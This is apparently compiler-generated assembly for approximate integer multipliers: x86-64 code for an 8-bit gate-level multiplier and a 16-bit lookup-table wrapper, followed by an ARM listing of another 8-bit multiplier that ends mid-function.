mov rax, QWORD PTR -880[rbp]
or rax, QWORD PTR -872[rbp]
mov QWORD PTR -856[rbp], rax
mov rax, QWORD PTR -1128[rbp]
xor rax, QWORD PTR -944[rbp]
mov QWORD PTR -848[rbp], rax
mov rax, QWORD PTR -1128[rbp]
and rax, QWORD PTR -944[rbp]
mov QWORD PTR -840[rbp], rax
mov rax, QWORD PTR -848[rbp]
and rax, QWORD PTR -1160[rbp]
mov QWORD PTR -832[rbp], rax
mov rax, QWORD PTR -848[rbp]
xor rax, QWORD PTR -1160[rbp]
mov QWORD PTR -824[rbp], rax
mov rax, QWORD PTR -840[rbp]
or rax, QWORD PTR -832[rbp]
mov QWORD PTR -816[rbp], rax
mov rax, QWORD PTR -1088[rbp]
xor rax, QWORD PTR -936[rbp]
mov QWORD PTR -808[rbp], rax
mov rax, QWORD PTR -1088[rbp]
and rax, QWORD PTR -936[rbp]
mov QWORD PTR -800[rbp], rax
mov rax, QWORD PTR -808[rbp]
and rax, QWORD PTR -1120[rbp]
mov QWORD PTR -792[rbp], rax
mov rax, QWORD PTR -808[rbp]
xor rax, QWORD PTR -1120[rbp]
mov QWORD PTR -784[rbp], rax
mov rax, QWORD PTR -800[rbp]
or rax, QWORD PTR -792[rbp]
mov QWORD PTR -776[rbp], rax
mov rax, QWORD PTR -1048[rbp]
xor rax, QWORD PTR -928[rbp]
mov QWORD PTR -768[rbp], rax
mov rax, QWORD PTR -1048[rbp]
and rax, QWORD PTR -928[rbp]
mov QWORD PTR -760[rbp], rax
mov rax, QWORD PTR -768[rbp]
and rax, QWORD PTR -1080[rbp]
mov QWORD PTR -752[rbp], rax
mov rax, QWORD PTR -768[rbp]
xor rax, QWORD PTR -1080[rbp]
mov QWORD PTR -744[rbp], rax
mov rax, QWORD PTR -760[rbp]
or rax, QWORD PTR -752[rbp]
mov QWORD PTR -736[rbp], rax
mov rax, QWORD PTR -1008[rbp]
xor rax, QWORD PTR -920[rbp]
mov QWORD PTR -728[rbp], rax
mov rax, QWORD PTR -1008[rbp]
and rax, QWORD PTR -920[rbp]
mov QWORD PTR -720[rbp], rax
mov rax, QWORD PTR -728[rbp]
and rax, QWORD PTR -1040[rbp]
mov QWORD PTR -712[rbp], rax
mov rax, QWORD PTR -728[rbp]
xor rax, QWORD PTR -1040[rbp]
mov QWORD PTR -704[rbp], rax
mov rax, QWORD PTR -720[rbp]
or rax, QWORD PTR -712[rbp]
mov QWORD PTR -696[rbp], rax
mov rax, QWORD PTR -968[rbp]
xor rax, QWORD PTR -912[rbp]
mov QWORD PTR -688[rbp], rax
mov rax, QWORD PTR -968[rbp]
and rax, QWORD PTR -912[rbp]
mov QWORD PTR -680[rbp], rax
mov rax, QWORD PTR -688[rbp]
and rax, QWORD PTR -1000[rbp]
mov QWORD PTR -672[rbp], rax
mov rax, QWORD PTR -688[rbp]
xor rax, QWORD PTR -1000[rbp]
mov QWORD PTR -664[rbp], rax
mov rax, QWORD PTR -680[rbp]
or rax, QWORD PTR -672[rbp]
mov QWORD PTR -656[rbp], rax
mov rax, QWORD PTR -1240[rbp]
xor rax, QWORD PTR -904[rbp]
mov QWORD PTR -648[rbp], rax
mov rax, QWORD PTR -1240[rbp]
and rax, QWORD PTR -904[rbp]
mov QWORD PTR -640[rbp], rax
mov rax, QWORD PTR -648[rbp]
and rax, QWORD PTR -960[rbp]
mov QWORD PTR -632[rbp], rax
mov rax, QWORD PTR -648[rbp]
xor rax, QWORD PTR -960[rbp]
mov QWORD PTR -624[rbp], rax
mov rax, QWORD PTR -640[rbp]
or rax, QWORD PTR -632[rbp]
mov QWORD PTR -616[rbp], rax
mov rax, QWORD PTR -2464[rbp]
shr rax, 7
and rax, QWORD PTR -2456[rbp]
and eax, 1
mov QWORD PTR -608[rbp], rax
mov rax, QWORD PTR -2456[rbp]
shr rax
mov rdx, rax
mov rax, QWORD PTR -2464[rbp]
shr rax, 7
and rax, rdx
and eax, 1
mov QWORD PTR -600[rbp], rax
mov rax, QWORD PTR -2456[rbp]
shr rax, 2
mov rdx, rax
mov rax, QWORD PTR -2464[rbp]
shr rax, 7
and rax, rdx
and eax, 1
mov QWORD PTR -592[rbp], rax
mov rax, QWORD PTR -2456[rbp]
shr rax, 3
mov rdx, rax
mov rax, QWORD PTR -2464[rbp]
shr rax, 7
and rax, rdx
and eax, 1
mov QWORD PTR -584[rbp], rax
mov rax, QWORD PTR -2456[rbp]
shr rax, 4
mov rdx, rax
mov rax, QWORD PTR -2464[rbp]
shr rax, 7
and rax, rdx
and eax, 1
mov QWORD PTR -576[rbp], rax
mov rax, QWORD PTR -2456[rbp]
shr rax, 5
mov rdx, rax
mov rax, QWORD PTR -2464[rbp]
shr rax, 7
and rax, rdx
and eax, 1
mov QWORD PTR -568[rbp], rax
mov rax, QWORD PTR -2456[rbp]
shr rax, 6
mov rdx, rax
mov rax, QWORD PTR -2464[rbp]
shr rax, 7
and rax, rdx
and eax, 1
mov QWORD PTR -560[rbp], rax
mov rax, QWORD PTR -2456[rbp]
shr rax, 7
mov rdx, rax
mov rax, QWORD PTR -2464[rbp]
shr rax, 7
and rax, rdx
and eax, 1
mov QWORD PTR -552[rbp], rax
mov rax, QWORD PTR -824[rbp]
xor rax, QWORD PTR -608[rbp]
mov QWORD PTR -544[rbp], rax
mov rax, QWORD PTR -824[rbp]
and rax, QWORD PTR -608[rbp]
mov QWORD PTR -536[rbp], rax
mov rax, QWORD PTR -544[rbp]
and rax, QWORD PTR -856[rbp]
mov QWORD PTR -528[rbp], rax
mov rax, QWORD PTR -544[rbp]
xor rax, QWORD PTR -856[rbp]
mov QWORD PTR -520[rbp], rax
mov rax, QWORD PTR -536[rbp]
or rax, QWORD PTR -528[rbp]
mov QWORD PTR -512[rbp], rax
mov rax, QWORD PTR -784[rbp]
xor rax, QWORD PTR -600[rbp]
mov QWORD PTR -504[rbp], rax
mov rax, QWORD PTR -784[rbp]
and rax, QWORD PTR -600[rbp]
mov QWORD PTR -496[rbp], rax
mov rax, QWORD PTR -504[rbp]
and rax, QWORD PTR -816[rbp]
mov QWORD PTR -488[rbp], rax
mov rax, QWORD PTR -504[rbp]
xor rax, QWORD PTR -816[rbp]
mov QWORD PTR -480[rbp], rax
mov rax, QWORD PTR -496[rbp]
or rax, QWORD PTR -488[rbp]
mov QWORD PTR -472[rbp], rax
mov rax, QWORD PTR -744[rbp]
xor rax, QWORD PTR -592[rbp]
mov QWORD PTR -464[rbp], rax
mov rax, QWORD PTR -744[rbp]
and rax, QWORD PTR -592[rbp]
mov QWORD PTR -456[rbp], rax
mov rax, QWORD PTR -464[rbp]
and rax, QWORD PTR -776[rbp]
mov QWORD PTR -448[rbp], rax
mov rax, QWORD PTR -464[rbp]
xor rax, QWORD PTR -776[rbp]
mov QWORD PTR -440[rbp], rax
mov rax, QWORD PTR -456[rbp]
or rax, QWORD PTR -448[rbp]
mov QWORD PTR -432[rbp], rax
mov rax, QWORD PTR -704[rbp]
xor rax, QWORD PTR -584[rbp]
mov QWORD PTR -424[rbp], rax
mov rax, QWORD PTR -704[rbp]
and rax, QWORD PTR -584[rbp]
mov QWORD PTR -416[rbp], rax
mov rax, QWORD PTR -424[rbp]
and rax, QWORD PTR -736[rbp]
mov QWORD PTR -408[rbp], rax
mov rax, QWORD PTR -424[rbp]
xor rax, QWORD PTR -736[rbp]
mov QWORD PTR -400[rbp], rax
mov rax, QWORD PTR -416[rbp]
or rax, QWORD PTR -408[rbp]
mov QWORD PTR -392[rbp], rax
mov rax, QWORD PTR -664[rbp]
xor rax, QWORD PTR -576[rbp]
mov QWORD PTR -384[rbp], rax
mov rax, QWORD PTR -664[rbp]
and rax, QWORD PTR -576[rbp]
mov QWORD PTR -376[rbp], rax
mov rax, QWORD PTR -384[rbp]
and rax, QWORD PTR -696[rbp]
mov QWORD PTR -368[rbp], rax
mov rax, QWORD PTR -384[rbp]
xor rax, QWORD PTR -696[rbp]
mov QWORD PTR -360[rbp], rax
mov rax, QWORD PTR -376[rbp]
or rax, QWORD PTR -368[rbp]
mov QWORD PTR -352[rbp], rax
mov rax, QWORD PTR -624[rbp]
xor rax, QWORD PTR -568[rbp]
mov QWORD PTR -344[rbp], rax
mov rax, QWORD PTR -624[rbp]
and rax, QWORD PTR -568[rbp]
mov QWORD PTR -336[rbp], rax
mov rax, QWORD PTR -344[rbp]
and rax, QWORD PTR -656[rbp]
mov QWORD PTR -328[rbp], rax
mov rax, QWORD PTR -344[rbp]
xor rax, QWORD PTR -656[rbp]
mov QWORD PTR -320[rbp], rax
mov rax, QWORD PTR -336[rbp]
or rax, QWORD PTR -328[rbp]
mov QWORD PTR -312[rbp], rax
mov rax, QWORD PTR -896[rbp]
xor rax, QWORD PTR -560[rbp]
mov QWORD PTR -304[rbp], rax
mov rax, QWORD PTR -896[rbp]
and rax, QWORD PTR -560[rbp]
mov QWORD PTR -296[rbp], rax
mov rax, QWORD PTR -304[rbp]
and rax, QWORD PTR -616[rbp]
mov QWORD PTR -288[rbp], rax
mov rax, QWORD PTR -304[rbp]
xor rax, QWORD PTR -616[rbp]
mov QWORD PTR -280[rbp], rax
mov rax, QWORD PTR -296[rbp]
or rax, QWORD PTR -288[rbp]
mov QWORD PTR -272[rbp], rax
mov rax, QWORD PTR -480[rbp]
xor rax, QWORD PTR -512[rbp]
mov QWORD PTR -264[rbp], rax
mov rax, QWORD PTR -480[rbp]
and rax, QWORD PTR -512[rbp]
mov QWORD PTR -256[rbp], rax
mov rax, QWORD PTR -440[rbp]
xor rax, QWORD PTR -472[rbp]
mov QWORD PTR -248[rbp], rax
mov rax, QWORD PTR -440[rbp]
and rax, QWORD PTR -472[rbp]
mov QWORD PTR -240[rbp], rax
mov rax, QWORD PTR -248[rbp]
and rax, QWORD PTR -256[rbp]
mov QWORD PTR -232[rbp], rax
mov rax, QWORD PTR -248[rbp]
xor rax, QWORD PTR -256[rbp]
mov QWORD PTR -224[rbp], rax
mov rax, QWORD PTR -240[rbp]
or rax, QWORD PTR -232[rbp]
mov QWORD PTR -216[rbp], rax
mov rax, QWORD PTR -400[rbp]
xor rax, QWORD PTR -432[rbp]
mov QWORD PTR -208[rbp], rax
mov rax, QWORD PTR -400[rbp]
and rax, QWORD PTR -432[rbp]
mov QWORD PTR -200[rbp], rax
mov rax, QWORD PTR -208[rbp]
and rax, QWORD PTR -216[rbp]
mov QWORD PTR -192[rbp], rax
mov rax, QWORD PTR -208[rbp]
xor rax, QWORD PTR -216[rbp]
mov QWORD PTR -184[rbp], rax
mov rax, QWORD PTR -200[rbp]
or rax, QWORD PTR -192[rbp]
mov QWORD PTR -176[rbp], rax
mov rax, QWORD PTR -360[rbp]
xor rax, QWORD PTR -392[rbp]
mov QWORD PTR -168[rbp], rax
mov rax, QWORD PTR -360[rbp]
and rax, QWORD PTR -392[rbp]
mov QWORD PTR -160[rbp], rax
mov rax, QWORD PTR -168[rbp]
and rax, QWORD PTR -176[rbp]
mov QWORD PTR -152[rbp], rax
mov rax, QWORD PTR -168[rbp]
xor rax, QWORD PTR -176[rbp]
mov QWORD PTR -144[rbp], rax
mov rax, QWORD PTR -160[rbp]
or rax, QWORD PTR -152[rbp]
mov QWORD PTR -136[rbp], rax
mov rax, QWORD PTR -320[rbp]
xor rax, QWORD PTR -352[rbp]
mov QWORD PTR -128[rbp], rax
mov rax, QWORD PTR -320[rbp]
and rax, QWORD PTR -352[rbp]
mov QWORD PTR -120[rbp], rax
mov rax, QWORD PTR -128[rbp]
and rax, QWORD PTR -136[rbp]
mov QWORD PTR -112[rbp], rax
mov rax, QWORD PTR -128[rbp]
xor rax, QWORD PTR -136[rbp]
mov QWORD PTR -104[rbp], rax
mov rax, QWORD PTR -120[rbp]
or rax, QWORD PTR -112[rbp]
mov QWORD PTR -96[rbp], rax
mov rax, QWORD PTR -280[rbp]
xor rax, QWORD PTR -312[rbp]
mov QWORD PTR -88[rbp], rax
mov rax, QWORD PTR -280[rbp]
and rax, QWORD PTR -312[rbp]
mov QWORD PTR -80[rbp], rax
mov rax, QWORD PTR -88[rbp]
and rax, QWORD PTR -96[rbp]
mov QWORD PTR -72[rbp], rax
mov rax, QWORD PTR -88[rbp]
xor rax, QWORD PTR -96[rbp]
mov QWORD PTR -64[rbp], rax
mov rax, QWORD PTR -80[rbp]
or rax, QWORD PTR -72[rbp]
mov QWORD PTR -56[rbp], rax
mov rax, QWORD PTR -552[rbp]
xor rax, QWORD PTR -272[rbp]
mov QWORD PTR -48[rbp], rax
mov rax, QWORD PTR -2464[rbp]
shr rax, 7
and rax, QWORD PTR -272[rbp]
and eax, 1
mov QWORD PTR -40[rbp], rax
mov rax, QWORD PTR -48[rbp]
and rax, QWORD PTR -56[rbp]
mov QWORD PTR -32[rbp], rax
mov rax, QWORD PTR -48[rbp]
xor rax, QWORD PTR -56[rbp]
mov QWORD PTR -24[rbp], rax
mov rax, QWORD PTR -40[rbp]
or rax, QWORD PTR -32[rbp]
mov QWORD PTR -16[rbp], rax
mov QWORD PTR -8[rbp], 0
mov rax, QWORD PTR -1632[rbp]
and eax, 1
or QWORD PTR -8[rbp], rax
mov rax, QWORD PTR -2344[rbp]
sal rax, 2
and eax, 4
or QWORD PTR -8[rbp], rax
mov rax, QWORD PTR -1888[rbp]
sal rax, 3
and eax, 8
or QWORD PTR -8[rbp], rax
mov rax, QWORD PTR -1552[rbp]
sal rax, 4
and eax, 16
or QWORD PTR -8[rbp], rax
mov rax, QWORD PTR -1208[rbp]
sal rax, 5
and eax, 32
or QWORD PTR -8[rbp], rax
mov rax, QWORD PTR -864[rbp]
sal rax, 6
and eax, 64
or QWORD PTR -8[rbp], rax
mov rax, QWORD PTR -520[rbp]
sal rax, 7
movzx eax, al
or QWORD PTR -8[rbp], rax
mov rax, QWORD PTR -264[rbp]
sal rax, 8
and eax, 256
or QWORD PTR -8[rbp], rax
mov rax, QWORD PTR -224[rbp]
sal rax, 9
and eax, 512
or QWORD PTR -8[rbp], rax
mov rax, QWORD PTR -184[rbp]
sal rax, 10
and eax, 1024
or QWORD PTR -8[rbp], rax
mov rax, QWORD PTR -144[rbp]
sal rax, 11
and eax, 2048
or QWORD PTR -8[rbp], rax
mov rax, QWORD PTR -104[rbp]
sal rax, 12
and eax, 4096
or QWORD PTR -8[rbp], rax
mov rax, QWORD PTR -64[rbp]
sal rax, 13
and eax, 8192
or QWORD PTR -8[rbp], rax
mov rax, QWORD PTR -24[rbp]
sal rax, 14
and eax, 16384
or QWORD PTR -8[rbp], rax
mov rax, QWORD PTR -16[rbp]
sal rax, 15
movzx eax, ax
or QWORD PTR -8[rbp], rax
mov rax, QWORD PTR -8[rbp]
leave
.cfi_def_cfa 7, 8
ret
.cfi_endproc
.LFE7:
.size mult8_cgp14ep_ep64716_wc9_2_csamrca, .-mult8_cgp14ep_ep64716_wc9_2_csamrca
.globl mul16u_52B
.type mul16u_52B, @function
mul16u_52B:
.LFB8:
.cfi_startproc
endbr64
push rbp
.cfi_def_cfa_offset 16
.cfi_offset 6, -16
mov rbp, rsp
.cfi_def_cfa_register 6
push rbx
sub rsp, 40
.cfi_offset 3, -24
mov edx, edi
mov eax, esi
mov WORD PTR -36[rbp], dx
mov WORD PTR -40[rbp], ax
mov rax, QWORD PTR cacheLL.3[rip]
test rax, rax
je .L6
mov rax, QWORD PTR cacheLH.2[rip]
test rax, rax
je .L6
mov rax, QWORD PTR cacheHL.1[rip]
test rax, rax
je .L6
mov rax, QWORD PTR cacheHH.0[rip]
test rax, rax
jne .L7
.L6:
mov eax, 1
jmp .L8
.L7:
mov eax, 0
.L8:
mov DWORD PTR -24[rbp], eax
mov rax, QWORD PTR cacheLL.3[rip]
test rax, rax
jne .L9
mov edi, 131072
call malloc@PLT
mov QWORD PTR cacheLL.3[rip], rax
.L9:
mov rax, QWORD PTR cacheLH.2[rip]
test rax, rax
jne .L10
mov edi, 131072
call malloc@PLT
mov QWORD PTR cacheLH.2[rip], rax
.L10:
mov rax, QWORD PTR cacheHL.1[rip]
test rax, rax
jne .L11
mov edi, 131072
call malloc@PLT
mov QWORD PTR cacheHL.1[rip], rax
.L11:
mov rax, QWORD PTR cacheHH.0[rip]
test rax, rax
jne .L12
mov edi, 131072
call malloc@PLT
mov QWORD PTR cacheHH.0[rip], rax
.L12:
cmp DWORD PTR -24[rbp], 0
je .L13
mov DWORD PTR -32[rbp], 0
jmp .L14
.L17:
mov DWORD PTR -28[rbp], 0
jmp .L15
.L16:
mov eax, DWORD PTR -28[rbp]
movsx rdx, eax
mov eax, DWORD PTR -32[rbp]
cdqe
mov rsi, rdx
mov rdi, rax
call mult8_cgp14ep_ep64716_wc9_2_csamrca
mov rcx, QWORD PTR cacheLL.3[rip]
mov edx, DWORD PTR -32[rbp]
mov esi, edx
sal esi, 8
mov edx, DWORD PTR -28[rbp]
add edx, esi
movsx rdx, edx
add rdx, rdx
add rdx, rcx
mov WORD PTR [rdx], ax
mov eax, DWORD PTR -28[rbp]
movzx edx, al
mov eax, DWORD PTR -32[rbp]
movzx eax, al
mov rsi, QWORD PTR cacheLH.2[rip]
mov ecx, DWORD PTR -32[rbp]
mov edi, ecx
sal edi, 8
mov ecx, DWORD PTR -28[rbp]
add ecx, edi
movsx rcx, ecx
add rcx, rcx
lea rbx, [rsi+rcx]
mov esi, edx
mov edi, eax
call mul8_364
mov WORD PTR [rbx], ax
mov eax, DWORD PTR -28[rbp]
movzx edx, al
mov eax, DWORD PTR -32[rbp]
movzx eax, al
mov rsi, QWORD PTR cacheHL.1[rip]
mov ecx, DWORD PTR -32[rbp]
mov edi, ecx
sal edi, 8
mov ecx, DWORD PTR -28[rbp]
add ecx, edi
movsx rcx, ecx
add rcx, rcx
lea rbx, [rsi+rcx]
mov esi, edx
mov edi, eax
call mul8_364
mov WORD PTR [rbx], ax
mov eax, DWORD PTR -28[rbp]
movzx edx, al
mov eax, DWORD PTR -32[rbp]
movzx eax, al
mov rsi, QWORD PTR cacheHH.0[rip]
mov ecx, DWORD PTR -32[rbp]
mov edi, ecx
sal edi, 8
mov ecx, DWORD PTR -28[rbp]
add ecx, edi
movsx rcx, ecx
add rcx, rcx
lea rbx, [rsi+rcx]
mov esi, edx
mov edi, eax
call mul8_364
mov WORD PTR [rbx], ax
add DWORD PTR -28[rbp], 1
.L15:
cmp DWORD PTR -28[rbp], 255
jle .L16
add DWORD PTR -32[rbp], 1
.L14:
cmp DWORD PTR -32[rbp], 255
jle .L17
.L13:
mov DWORD PTR -20[rbp], 0
mov rdx, QWORD PTR cacheLL.3[rip]
movzx eax, WORD PTR -36[rbp]
movzx eax, al
sal eax, 8
mov ecx, eax
movzx eax, WORD PTR -40[rbp]
movzx eax, al
add eax, ecx
cdqe
add rax, rax
add rax, rdx
movzx eax, WORD PTR [rax]
movzx eax, ax
add DWORD PTR -20[rbp], eax
mov rdx, QWORD PTR cacheLH.2[rip]
movzx eax, WORD PTR -36[rbp]
movzx eax, al
sal eax, 8
mov ecx, eax
movzx eax, WORD PTR -40[rbp]
shr ax, 8
movzx eax, ax
movzx eax, al
add eax, ecx
cdqe
add rax, rax
add rax, rdx
movzx eax, WORD PTR [rax]
movzx eax, ax
sal eax, 8
add DWORD PTR -20[rbp], eax
mov rdx, QWORD PTR cacheHL.1[rip]
movzx eax, WORD PTR -36[rbp]
shr ax, 8
movzx eax, ax
movzx eax, al
sal eax, 8
mov ecx, eax
movzx eax, WORD PTR -40[rbp]
movzx eax, al
add eax, ecx
cdqe
add rax, rax
add rax, rdx
movzx eax, WORD PTR [rax]
movzx eax, ax
sal eax, 8
add DWORD PTR -20[rbp], eax
mov rdx, QWORD PTR cacheHH.0[rip]
movzx eax, WORD PTR -36[rbp]
shr ax, 8
movzx eax, ax
movzx eax, al
sal eax, 8
mov ecx, eax
movzx eax, WORD PTR -40[rbp]
shr ax, 8
movzx eax, ax
movzx eax, al
add eax, ecx
cdqe
add rax, rax
add rax, rdx
movzx eax, WORD PTR [rax]
movzx eax, ax
sal eax, 16
add DWORD PTR -20[rbp], eax
mov eax, DWORD PTR -20[rbp]
mov rbx, QWORD PTR -8[rbp]
leave
.cfi_def_cfa 7, 8
ret
.cfi_endproc
.LFE8:
.size mul16u_52B, .-mul16u_52B
.local cacheLL.3
.comm cacheLL.3,8,8
.local cacheLH.2
.comm cacheLH.2,8,8
.local cacheHL.1
.comm cacheHL.1,8,8
.local cacheHH.0
.comm cacheHH.0,8,8
.ident "GCC: (Ubuntu 10.5.0-1ubuntu1~20.04) 10.5.0"
.section .note.GNU-stack,"",@progbits
.section .note.gnu.property,"a"
.align 8
.long 1f - 0f
.long 4f - 1f
.long 5
0:
.string "GNU"
1:
.align 8
.long 0xc0000002
.long 3f - 2f
2:
.long 0x3
3:
.align 8
4:
| .arch armv5t
.eabi_attribute 20, 1
.eabi_attribute 21, 1
.eabi_attribute 23, 3
.eabi_attribute 24, 1
.eabi_attribute 25, 1
.eabi_attribute 26, 2
.eabi_attribute 30, 6
.eabi_attribute 34, 0
.eabi_attribute 18, 4
.file "153409.c"
.text
.align 2
.global mul8_364
.syntax unified
.arm
.fpu softvfp
.type mul8_364, %function
mul8_364:
@ args = 0, pretend = 0, frame = 208
@ frame_needed = 1, uses_anonymous_args = 0
@ link register save eliminated.
str fp, [sp, #-4]!
add fp, sp, #0
sub sp, sp, #212
mov r3, r0
mov r2, r1
strb r3, [fp, #-205]
mov r3, r2
strb r3, [fp, #-206]
mov r3, #0
strh r3, [fp, #-6] @ movhi
ldrb r3, [fp, #-205]
and r3, r3, #1
strb r3, [fp, #-199]
ldrb r3, [fp, #-205] @ zero_extendqisi2
lsr r3, r3, #1
and r3, r3, #255
and r3, r3, #1
strb r3, [fp, #-198]
ldrb r3, [fp, #-205] @ zero_extendqisi2
lsr r3, r3, #2
and r3, r3, #255
and r3, r3, #1
strb r3, [fp, #-197]
ldrb r3, [fp, #-205] @ zero_extendqisi2
lsr r3, r3, #3
and r3, r3, #255
and r3, r3, #1
strb r3, [fp, #-196]
ldrb r3, [fp, #-205] @ zero_extendqisi2
lsr r3, r3, #4
and r3, r3, #255
and r3, r3, #1
strb r3, [fp, #-195]
ldrb r3, [fp, #-205] @ zero_extendqisi2
lsr r3, r3, #5
and r3, r3, #255
and r3, r3, #1
strb r3, [fp, #-194]
ldrb r3, [fp, #-205] @ zero_extendqisi2
lsr r3, r3, #6
and r3, r3, #255
and r3, r3, #1
strb r3, [fp, #-193]
ldrb r3, [fp, #-205] @ zero_extendqisi2
lsr r3, r3, #7
strb r3, [fp, #-192]
ldrb r3, [fp, #-206]
and r3, r3, #1
strb r3, [fp, #-191]
ldrb r3, [fp, #-206] @ zero_extendqisi2
lsr r3, r3, #1
and r3, r3, #255
and r3, r3, #1
strb r3, [fp, #-190]
ldrb r3, [fp, #-206] @ zero_extendqisi2
lsr r3, r3, #2
and r3, r3, #255
and r3, r3, #1
strb r3, [fp, #-189]
ldrb r3, [fp, #-206] @ zero_extendqisi2
lsr r3, r3, #3
and r3, r3, #255
and r3, r3, #1
strb r3, [fp, #-188]
ldrb r3, [fp, #-206] @ zero_extendqisi2
lsr r3, r3, #4
and r3, r3, #255
and r3, r3, #1
strb r3, [fp, #-187]
ldrb r3, [fp, #-206] @ zero_extendqisi2
lsr r3, r3, #5
and r3, r3, #255
and r3, r3, #1
strb r3, [fp, #-186]
ldrb r3, [fp, #-206] @ zero_extendqisi2
lsr r3, r3, #6
and r3, r3, #255
and r3, r3, #1
strb r3, [fp, #-185]
ldrb r3, [fp, #-206] @ zero_extendqisi2
lsr r3, r3, #7
strb r3, [fp, #-184]
ldrb r2, [fp, #-199]
ldrb r3, [fp, #-191]
and r3, r3, r2
strb r3, [fp, #-183]
ldrb r2, [fp, #-198]
ldrb r3, [fp, #-191]
and r3, r3, r2
strb r3, [fp, #-182]
ldrb r2, [fp, #-197]
ldrb r3, [fp, #-191]
and r3, r3, r2
strb r3, [fp, #-181]
ldrb r2, [fp, #-196]
ldrb r3, [fp, #-191]
and r3, r3, r2
strb r3, [fp, #-180]
ldrb r2, [fp, #-195]
ldrb r3, [fp, #-191]
and r3, r3, r2
strb r3, [fp, #-179]
ldrb r2, [fp, #-194]
ldrb r3, [fp, #-191]
and r3, r3, r2
strb r3, [fp, #-178]
ldrb r2, [fp, #-193]
ldrb r3, [fp, #-191]
and r3, r3, r2
strb r3, [fp, #-177]
ldrb r2, [fp, #-192]
ldrb r3, [fp, #-191]
and r3, r3, r2
strb r3, [fp, #-176]
ldrb r2, [fp, #-199]
ldrb r3, [fp, #-190]
and r3, r3, r2
strb r3, [fp, #-175]
ldrb r3, [fp, #-176]
strb r3, [fp, #-174]
ldrb r2, [fp, #-198]
ldrb r3, [fp, #-190]
and r3, r3, r2
strb r3, [fp, #-173]
ldrb r2, [fp, #-197]
ldrb r3, [fp, #-190]
and r3, r3, r2
strb r3, [fp, #-172]
ldrb r2, [fp, #-196]
ldrb r3, [fp, #-190]
and r3, r3, r2
strb r3, [fp, #-171]
ldrb r2, [fp, #-195]
ldrb r3, [fp, #-190]
and r3, r3, r2
strb r3, [fp, #-170]
ldrb r2, [fp, #-194]
ldrb r3, [fp, #-190]
and r3, r3, r2
strb r3, [fp, #-169]
ldrb r2, [fp, #-193]
ldrb r3, [fp, #-190]
and r3, r3, r2
strb r3, [fp, #-168]
ldrb r2, [fp, #-192]
ldrb r3, [fp, #-190]
and r3, r3, r2
strb r3, [fp, #-167]
ldrb r2, [fp, #-182]
ldrb r3, [fp, #-175]
eor r3, r3, r2
strb r3, [fp, #-166]
ldrb r2, [fp, #-182]
ldrb r3, [fp, #-175]
and r3, r3, r2
strb r3, [fp, #-165]
ldrb r2, [fp, #-181]
ldrb r3, [fp, #-173]
eor r3, r3, r2
strb r3, [fp, #-164]
ldrb r2, [fp, #-181]
ldrb r3, [fp, #-173]
and r3, r3, r2
strb r3, [fp, #-163]
ldrb r2, [fp, #-180]
ldrb r3, [fp, #-172]
eor r3, r3, r2
strb r3, [fp, #-162]
ldrb r2, [fp, #-180]
ldrb r3, [fp, #-172]
and r3, r3, r2
strb r3, [fp, #-161]
ldrb r2, [fp, #-179]
ldrb r3, [fp, #-171]
eor r3, r3, r2
strb r3, [fp, #-160]
ldrb r2, [fp, #-179]
ldrb r3, [fp, #-171]
and r3, r3, r2
strb r3, [fp, #-159]
ldrb r2, [fp, #-178]
ldrb r3, [fp, #-170]
eor r3, r3, r2
strb r3, [fp, #-158]
ldrb r2, [fp, #-178]
ldrb r3, [fp, #-170]
and r3, r3, r2
strb r3, [fp, #-157]
ldrb r2, [fp, #-177]
ldrb r3, [fp, #-169]
eor r3, r3, r2
strb r3, [fp, #-156]
ldrb r2, [fp, #-177]
ldrb r3, [fp, #-169]
and r3, r3, r2
strb r3, [fp, #-155]
ldrb r2, [fp, #-174]
ldrb r3, [fp, #-168]
eor r3, r3, r2
strb r3, [fp, #-154]
ldrb r2, [fp, #-174]
ldrb r3, [fp, #-168]
and r3, r3, r2
strb r3, [fp, #-153]
ldrb r2, [fp, #-199]
ldrb r3, [fp, #-189]
and r3, r3, r2
strb r3, [fp, #-152]
ldrb r2, [fp, #-198]
ldrb r3, [fp, #-189]
and r3, r3, r2
strb r3, [fp, #-151]
ldrb r2, [fp, #-197]
ldrb r3, [fp, #-189]
and r3, r3, r2
strb r3, [fp, #-150]
ldrb r2, [fp, #-196]
ldrb r3, [fp, #-189]
and r3, r3, r2
strb r3, [fp, #-149]
ldrb r2, [fp, #-195]
ldrb r3, [fp, #-189]
and r3, r3, r2
strb r3, [fp, #-148]
ldrb r2, [fp, #-194]
ldrb r3, [fp, #-189]
and r3, r3, r2
strb r3, [fp, #-147]
ldrb r2, [fp, #-193]
ldrb r3, [fp, #-189]
and r3, r3, r2
strb r3, [fp, #-146]
ldrb r2, [fp, #-192]
ldrb r3, [fp, #-189]
and r3, r3, r2
strb r3, [fp, #-145]
ldrb r2, [fp, #-164]
ldrb r3, [fp, #-152]
eor r3, r3, r2
and r2, r3, #255
ldrb r3, [fp, #-165]
eor r3, r3, r2
strb r3, [fp, #-144]
ldrb r2, [fp, #-164]
ldrb r3, [fp, #-165]
orr r3, r2, r3
and r2, r3, #255
ldrb r3, [fp, #-152]
and r3, r3, r2
and r2, r3, #255
ldrb r1, [fp, #-164]
ldrb r3, [fp, #-165]
and r3, r3, r1
and r3, r3, #255
orr r3, r2, r3
strb r3, [fp, #-143]
ldrb r2, [fp, #-162]
ldrb r3, [fp, #-151]
eor r3, r3, r2
and r2, r3, #255
ldrb r3, [fp, #-163]
eor r3, r3, r2
strb r3, [fp, #-142]
ldrb r2, [fp, #-162]
ldrb r3, [fp, #-163]
orr r3, r2, r3
and r2, r3, #255
ldrb r3, [fp, #-151]
and r3, r3, r2
and r2, r3, #255
ldrb r1, [fp, #-162]
ldrb r3, [fp, #-163]
and r3, r3, r1
and r3, r3, #255
orr r3, r2, r3
strb r3, [fp, #-141]
ldrb r2, [fp, #-160]
ldrb r3, [fp, #-150]
eor r3, r3, r2
and r2, r3, #255
ldrb r3, [fp, #-161]
eor r3, r3, r2
strb r3, [fp, #-140]
ldrb r2, [fp, #-160]
ldrb r3, [fp, #-161]
orr r3, r2, r3
and r2, r3, #255
ldrb r3, [fp, #-150]
and r3, r3, r2
and r2, r3, #255
ldrb r1, [fp, #-160]
ldrb r3, [fp, #-161]
and r3, r3, r1
and r3, r3, #255
orr r3, r2, r3
strb r3, [fp, #-139]
ldrb r2, [fp, #-158]
ldrb r3, [fp, #-149]
eor r3, r3, r2
and r2, r3, #255
ldrb r3, [fp, #-159]
eor r3, r3, r2
strb r3, [fp, #-138]
ldrb r2, [fp, #-158]
ldrb r3, [fp, #-159]
orr r3, r2, r3
and r2, r3, #255
ldrb r3, [fp, #-149]
and r3, r3, r2
